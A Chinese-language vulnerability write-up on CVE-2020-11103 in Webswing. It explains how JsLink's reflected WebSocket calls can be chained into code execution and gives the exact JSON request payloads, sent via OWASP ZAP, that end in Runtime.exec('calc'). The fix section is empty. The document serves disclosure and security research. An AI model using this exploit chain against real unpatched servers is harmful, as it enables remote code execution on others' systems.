Webswing JsLink机制远程代码执行漏洞(CVE-2020-11103)


Author: UltramanGaia

1. Webswing JsLink机制

Webswing JsLink机制提供通过Websocket调用java代码的能力。

2. 漏洞原理

Before we can make any Java calls from JavaScript, we need to expose a Java object instance and store a reference to it in variable.

在Webswing中,存在一个哈希表WebJSObject#javaReferences ,JsLink机制允许通过WebSocket使用反射机制调用javaReferences中对象的方法。

有趣的是,反射调用后的返回值,如果是对象,则会把这个对象存储到javaReferences中。这意味着可以链式调用,可以构造如下攻击payload,实现代码执行。

XXXX.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');"

3. 漏洞利用

webswing-examples-2.7.5 为例进行演示。此外,由于payload通过WebSocket发送且为了直观地展示POC,我们需要 OWASP ZAP 来帮助编辑和发送Payload。

3.1 环境准备

运行webswing.bat
安装ZAP并设置为浏览器代理。
WebSwing默认使用BinarySocket,为了方便起见,我们可以将其切换到文本模式。
点击ZAP菜单Tools->Options->Replacer,添加一个规则

image-20200304221041176

访问http://localhost:8080/swingset3/ 并登录,你可以在ZAP中观察到如下消息。

image-20200304221358058

image-20200304221419804

image-20200304221455904

3.2 XXXX.getClass()

点击JsLink,然后点击”Evaluate JavaScript”。
image-20200304221712954
你可以看到如下请求包
image-20200304222034105
此时我们知道javaReferences中存在一个键值为2c700680-66ce-46c2-be63-4f24e6d63608的对象。
可以构造如下请求包
image-20200304222743844

{"javaRequest":{"correlationId":"83887784fca","objectId":"2c700680-66ce-46c2-be63-4f24e6d63608","method":"getClass","params":[]}}

此时发现服务器返回一个对象ID940b076d-3feb-4a1d-81db-b57ab1060bf7
image-20200304222943162

3.3 XXXX.getClass().forName(“javax.script.ScriptEngineManager”)

构造如下请求包
image-20200304223131036

{"javaRequest":{"correlationId":"83887784fca","objectId":"940b076d-3feb-4a1d-81db-b57ab1060bf7","method":"forName","params":[{"primitive":"\"javax.script.ScriptEngineManager\""}]}}

image-20200304223157580
返回对象IDfe61c023-5262-4bee-a132-ed4822fb7f63

3.4 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance()

重复
image-20200304223248449

{"javaRequest":{"correlationId":"83887784fca","objectId":"fe61c023-5262-4bee-a132-ed4822fb7f63","method":"newInstance","params":[]}}

image-20200304223314089
获得f5cfae91-45a4-4fe1-8554-d8ce9bf12d7e

3.5 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”)

image-20200304223357061

{"javaRequest":{"correlationId":"83887784fca","objectId":"f5cfae91-45a4-4fe1-8554-d8ce9bf12d7e","method":"getEngineByName","params":[{"primitive":"\"js\""}]}}

image-20200304223413848

获得42554f1a-8866-472e-aee3-0ff90281e2d7.

3.6 XXXX.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’);”

image-20200304223455956

{"javaRequest":{"correlationId":"83887784fca","objectId":"42554f1a-8866-472e-aee3-0ff90281e2d7","method":"eval","params":[{"primitive":"\"java.lang.Runtime.getRuntime().exec('calc');\""}]}}

Calc.exe进程成功运行。

4. 漏洞修复

Webswing JsLink Mechanism Remote Code Execution Vulnerability(CVE-2020-11103)


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com